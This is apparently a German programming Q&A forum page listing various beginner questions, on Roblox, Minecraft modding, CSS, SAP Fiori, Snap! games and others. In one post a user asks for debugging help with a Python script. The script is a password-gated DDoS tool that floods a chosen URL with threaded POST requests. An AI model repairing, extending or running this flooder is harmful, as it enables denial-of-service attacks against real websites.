Programmieren & Softwareentwicklung

2.481 Mitglieder, 27.597 Beiträge

Objekt in Roblox Studio, dass man aufheben kann?

Hallo miteinander, Ich möchte in Roblox Studio gerne einen Part erstellen der auf dem Boden liegt und aufgehoben werden kann. Dazu soll der Part sobald man ihn anklickt (Click Detektor), in die Hand des Spielers. Das wollte ich eigentlich über ein Tool machen, da ist aber das Problem, dass man es im Inventar verstauen kann, was ich nicht möchte. Ich hätte gerne, dass man ihn nur aus der Hand bekommt wenn man ihn ablegt. Wie das Ablegen abläuft weiß ich selber noch nicht richtig, vielleicht über eine Tasteneingabe? Da könnt ihr kreativ sein. Schonmal vielen Dank für Lösungen!

Eigenes Webframework - Balance zwischen Leidenschaft und Verdienst?

Hallo. Ich möchte gerne ein neues FullStack-Webframework entwickeln und anbieten, welches an einigen Punkten auch flexibler ist als bestehende (so genau möchte ich allerdings noch nicht darauf eingehen). Einerseits mache ich es aus Leidenschaft, aber ich möchte diese Leidenschaft auch beruflich durchziehen. Leider erfüllt mich mein bisheriger Vollzeitjob als Entwickler nämlich nicht, weil ich jeden Tag 8 Stunden lang nur langweilige Kundenwünsche erfüllen muss und nach der Arbeit schaffe ich wenig an meinem Projekt, weil ich dringend meine Augen schonen muss. Den Vollzeitjob kann ich natürlich nicht aufgeben. Erstmal dauert es eine Weile, bis das Framework fertig ist und ich sehe es als sehr unwahrscheinlich an, dass ich dadurch auch so viel Einnahmen generiere, um meine Miete, Essen usw. zahlen zu können und schon garnicht über mehrere Monate hinweg. Zumal solche Frameworks ja sowieso meist in OpenSource-Projekten münden. Könnt ihr mir da vielleicht einen Tipp geben?

3D Straßen anhand OSM daten generieren?

Ich sitze seit ein paar wochen an einem projekt, welches OSM Daten in 3D Straßen meshes umwandelt. Allerdings habe ich das problem, dass alle straßen über einzelne Punkte verbunden sind (grün). Und die straßen nur als linien gespeichert sind (schwarz). Wenn ich nun ganz simpel diesen linien eine breite gebe (rot), funktioniert das ansich ganz gut. Aber wenn sich eine z.b. 4 spurige straße in 2 spurige straßen aufteielt (Beispiel B), funktioniert das nichtmehr. Obwohl sie natürlich nebeneinander sein sollten. Ich sitze da schon ewig dran und komme auf keine Lösung. Vielleicht kann mir ja jemand eine einfache Antwort geben. Vielen Dank bis hierhin!
Bild zum Beitrag

Minecraft Enchantment: Wieso funktioniert das nicht?

Ich bin gerade dabei, ein Minecraft Enchantment zu machen. Ich will es für Rüstungen und Waffen haben und wenn ich es ausprobiere, kann ich es in Survival nur auf Waffen geben. Auf Rüstungen funktioniert es nicht per Amboss. Code: package net.mcreator.evenmoreenchantments.enchantment; import net.minecraftforge.common.crafting.CompoundIngredient; import net.minecraft.world.item.enchantment.EnchantmentCategory; import net.minecraft.world.item.enchantment.Enchantment; import net.minecraft.world.item.crafting.Ingredient; import net.minecraft.world.item.ItemStack; import net.minecraft.world.entity.EquipmentSlot; import net.minecraft.tags.ItemTags; import net.minecraft.resources.ResourceLocation; public class TestEnchantment extends Enchantment { public TesEnchantment(EquipmentSlot... slots) { super(Enchantment.Rarity.VERY_RARE, EnchantmentCategory.BREAKABLE, slots); } @Override public boolean canApplyAtEnchantingTable(ItemStack itemstack) { return CompoundIngredient.of( Ingredient.of(ItemTags.create(new ResourceLocation("minecraft:swords"))), Ingredient.of(ItemTags.create(new ResourceLocation("minecraft:pickaxes"))), Ingredient.of(ItemTags.create(new ResourceLocation("minecraft:axes"))), Ingredient.of(ItemTags.create(new ResourceLocation("minecraft:hoes"))), Ingredient.of(ItemTags.create(new ResourceLocation("minecraft:shovels"))), Ingredient.of(ItemTags.create(new ResourceLocation("minecraft:helmets"))), Ingredient.of(ItemTags.create(new ResourceLocation("minecraft:chestplates"))), Ingredient.of(ItemTags.create(new ResourceLocation("minecraft:leggings"))), Ingredient.of(ItemTags.create(new ResourceLocation("minecraft:boots"))) ).test(itemstack); } @Override public boolean isTreasureOnly() { return true; } } Bevor ihr mich alle hasst: Ich weiß, MCreator ist nicht das Beste zum Mod machen, aber bin erst beim Lernen von Modding. Ich kann leider nur mit C und ein bisschen mit HTML (ich weiß, keine richtige Programmiersprache) und CSS coden.

chat gpt nutzungsbegrenzung?

hallo leute , ich brauche dringend hilfe ,ich mache gerade mein abi und da spielt chat gpt eine sehr große rolle da es bei vielen aufgaben hilft,ich benutze die kostenlose version und hatte nie probleme ,seit kurzem 2 wochen ca. funktioniert es nicht mehr ,ich kann nicht mehr runterscrollen wenn ich ein text verfassen lassen habe oder what ever , das heist ich kann nicht mehr lesen was er mir als antwort gibt ,die app ist wie eingefroren wenn ich was geschrieben lassen hab. kann mir bitte jemand sagen was das ist und wie man das behebt oder wie lange das dauert bis es wieder geht. lg

GitHub-Projekt löschen?

Hallo liebe Community, ich habe dieser Tage mein neuestes Projekt auf GitHub veröffentlich, mein erstes in C++, voller Stolz und Tatendrang. Doch seitdem flattert mir eine wahre Lawine an Droh-Mehls ins Postfach, mit dem freundlichen Hinweis, mein Werk umgehend wieder zu entfernen, da es – so der allgemeine Tenor – in seiner „Unbrauchbarkeit“ beispiellos sei und „keinerlei Mehrwert“ biete. In einigen dieser Mehls wird mir mit einem Anschlag auf mein Leben gedroht. Nun frage ich mich, ob ich diesen erbosten Stimmen nachgeben so und mein Projekt lösche, oder soll ich einfach weiter daran arbeiten? Ich freue mich auf Ratschläge!
Weiter arbeiten!75%
Nicht löschen25%
Löschen0%
4 Stimmen

HTML und CSS - Wie kann ich bei meinem HTML-code Bilder in der CSS-Datei so skalieren, dass sie innerhalb eines Containers immer die volle Breite haben?

Hallöchen, ich bin noch relativ unerfahren und arbeite gerade an einem HTML-Code, in dem es mehrere nebeneinander liegende Felder geben soll. Das hat auch alles bisher gut geklappt, allerdings gehört zu jedem Kasten auch ein Bild, dass sich an die Containergröße anpassen soll. mit dem Code: <img src="../../zick/lala.jpg" alt="maxmustermann" width="100%"> hat das auch geklappt, gibt aber bei der Prozentangabe hinter dem width eine Fehlermeldung wenn man das durch den Validator schickt. Kann mir jemand sagen wie ich den gleichen Effekt erzielen kann und dabei in der CSS Datei arbeiten? img { width: 100%; height: auto; } Das hat nähmlich leider nicht geklappt... Danke im vorraus!

JavaScript Front-End Framework/Library

Guten Tag Community. Ich überlege derzeit einen JS Front-End Framework/Library zu lernen, da es in der JS Welt sehr viele verschiedene Frameworks/Libraries gibt und es viele verschiedene Meinungen darüber welcher &apos;gut&apos; ist gibt würde ich euch Fragen welchen ihr den so empfehlen würdet. Als Back-End würde ich ASP.NET nutzen, außerdem nutze ich derzeit Blazor und laut diesem Video soll sinnvoll sein Svelte zu nutzen, weshalb ich eher zu Svelte tendieren würde. Was ist also eure Meinung?
Andere (in der Antwort nennen)67%
React33%
Svelte0%
AngularJS0%
Vue.js0%
3 Stimmen

Python Code Fehler?

Ich habe eine Python Datei der die Ip Adresse speichert in einer Datei die sich in einem Ordner befindet. allerdings nachdem die Ip4 gespeichert worden ist und ich die main.py Datei öffnen will schließt sich das Fenster direkt ohne Rückmeldung. Kann jemand sehen wo das Problem liegen könnte? import os import sys import time import requests import threading import webbrowser import socket import json import random import string def clear_screen(): os.system(&apos;cls&apos; if os.name == &apos;nt&apos; else &apos;clear&apos;) def print_colored(text, color): if color == "red": print(f"\033[91m{text}\033[0m") # Rot elif color == "blue": print(f"\033[94m{text}\033[0m") # Blau def get_ip_address(): """Gibt die lokale IP-Adresse zurück.""" hostname = socket.gethostname() return socket.gethostbyname(hostname) def create_internal_directory(): """Erstellt den _internal Ordner, wenn er nicht existiert.""" if not os.path.exists(&apos;_internal&apos;): os.makedirs(&apos;_internal&apos;) def load_saved_ip(filename): """Lädt die gespeicherte IP-Adresse aus einer Datei.""" if os.path.exists(filename): with open(filename, &apos;r&apos;) as f: data = json.load(f) return data.get(&apos;ip4&apos;), data.get(&apos;ip6&apos;) return None, None def encrypt_ip(ip): """Kryptisiert die IP-Adresse.""" return &apos;&apos;.join(random.choices(string.ascii_letters + string.digits, k=500000)) # 10000 kryptische Zeichen def decrypt_ip(encrypted_ip): """Entschlüsselt die IP-Adresse (dummy-funktion für das Beispiel).""" return encrypted_ip # Hier könnte die Entschlüsselungslogik implementiert werden def save_ip_address(filename, ip4, ip6): """Speichert die IP-Adressen in einer Datei.""" encrypted_ip4 = encrypt_ip(ip4) encrypted_ip6 = encrypt_ip(ip6) with open(filename, &apos;w&apos;) as f: json.dump({&apos;ip4&apos;: encrypted_ip4, &apos;ip6&apos;: encrypted_ip6}, f) def send_requests(target_url, packet_size, requests_per_second): """Sendet Anfragen an die angegebene URL.""" bytes_to_send = b"A" * packet_size while True: try: response = requests.post(target_url, data=bytes_to_send) print_colored(f"Request sent: {response.status_code} from {target_url}", "blue") except Exception as e: print_colored(f"Error when sending: {e}", "red") break def main(): clear_screen() # Erstelle den internen Ordner create_internal_directory() filename = &apos;_internal/api-ms-win-crt-verse-l1-1-0&apos; # IP-Adresse überprüfen current_ip = get_ip_address() saved_ip4, saved_ip6 = load_saved_ip(filename) if saved_ip4 is None and saved_ip6 is None: print(f"First time running the script. Saving your IP: {current_ip}") save_ip_address(filename, current_ip, current_ip) # Hier nur ein Beispiel, könnte angepasst werden elif decrypt_ip(saved_ip4) == current_ip or decrypt_ip(saved_ip6) == current_ip: print("IP address verified. Access granted.") else: print("IP address does not match. Access denied.") sys.exit() # Benutzername und Passwort username = input(print_colored("Username: ", "red") or "") password = input(print_colored("Password: ", "red") or "") if username == "M@rcel2!021" and password == "HACked": clear_screen() print_colored("Access Granted", "red") while True: print("[1] DDOS") print("[2] Discord") choice = input(print_colored("Choose an option: ", "red") or "") if choice == &apos;1&apos;: target_url = input(print_colored("Enter the URL you want to overload: ", "red") or "") packet_size = int(input(print_colored("Enter the packet size in bytes: ", "red") or "")) requests_per_second = int(input(print_colored("Enter the number of requests per second: ", "red") or "")) for _ in range(requests_per_second): thread = threading.Thread(target=send_requests, args=(target_url, packet_size, requests_per_second)) thread.start() elif choice == &apos;2&apos;: webbrowser.open(" https://discord.gg/6JKHn7Trqw ") # Füge deinen Discord-Link hier ein else: print_colored("Invalid selection. Please try again.", "red") else: print_colored("Incorrect username or password!", "red") if __name__ == "__main__": main() Danke

Objectkey aus UUID?

Hey Leute, ich entwickle eine SAP Fiori Applikation in Business Application Studio. In dem Projekt benutze ich zwei Services, einmal CV_ATTACHMENT_SRV um einem Objekt (zB einer Rechnung) einen Anhang anzufügen, und einmal MM_SUPPLIER_INVOICE_LIST_ENH_SRV um alle Rechnungen auszugeben, damit ich eine davon auswählen kann und ihr den Anhang hinzufügen kann. Das funktioniert auch soweit gut der Uploadprozess funktioniert, aber ich benutze immer einen statischen Beispiel-ObjectKey einer spezifischen Rechnung. Nun muss ich den code aber so weit abändern, dass der ObjectKey dynamisch von der ausgewählten Rechnung abhängt. Leider finde ich bei den Attributen der Rechnungen nirgendwo ObjectKey, der Primärschlüssel ist InvoiceUUID, und ich weiss, dass ich irgendwie diese UUID brauche, und irgendwas mit mapping machen muss um daraus den ObjectKey zu generieren/erstellen, allerdings habe ich das noch nicht so ganz kapiert.. Ich bin mir auch nicht ganz sicher ob das Attribut überhaupt ObjectKey heisst, so haben wir es in Postman beim Testen immer benannt, vielleicht heisst es im System ja anders, kein plan Ich weiß, die Frage ist sehr vage gestellt, aber vielleicht weiß ja irgendjemand von euch weiter. Ich habe auch schon probiert die UUID einfach nur umzuwandeln mit btoa(uuid), das ergebnis sieht auch verdächtig ähnlich zu dem statischen objectkey aus, aber nicht ganz genau, und funktionieren tuts dann auch nicht, bzw. Es wird nichts hochgeladen.
Bild zum Beitrag

Ständig Error bei Code?

Hallo, ich benutze VS Code und baue gerade meine Webseite. Jedoch kommen im HTML Code immer unnütze Fehler, die nerven. z. B. bei einem Link (also <a></a>) muss angeblich immer ein aria-label definiert sein, oder inputs müssen immer ein label haben, oder bei img muss immer alt definiert sein, oder man darf angeblich den Style nicht direkt in den tag schreiben. Bei anderen Ordnern ist das aber nicht so.(bzw. auf anderen Geräten). Ich hab meine Webseite mit Firebase gehostet. Es war zwar mal eine Zeit weg, aber nachdem ich .hintrc gelöscht und wieder neu eingefügt habe, kommen jetzt immer solche nervigen Error, die ja nicht wirklich wichtig sind. Kann man das irgendwie ausschalten?

Snap! Code?

Hallo zsm Ich muss für die Schule ein Spiel programmieren, jedoch funktionieren einige Dinge noch nicht so ganz. Im Spiel geht es darum, mit dem Hai Fische zu fressen, jedoch Bomben auszuweichen. Manchmal spawnen die Bomben und Fische an den gleichen Orten, da die beiden auch den gleichen Code haben. Kann ich das irgendwie ändern, sodass sie nicht am gleichen Ort spawnen? Das zweite Problem ist, dass wenn man ein Fisch isst, der Score hoch gehen sollte. Der Score geht jedoch manchmal hoch, manchmal nicht. Das gleiche mit den Bomben. Manchmal kommt der Game Over Screen, manchmal nicht. Das Spiel und auch den Code findet ihr hier: https://drive.google.com/file/d/1c8LuehSaitcGTgem_abYOVqDtSTWJMI3/view?usp=drive_link (XLM Datei) Kann mir da jemand helfen?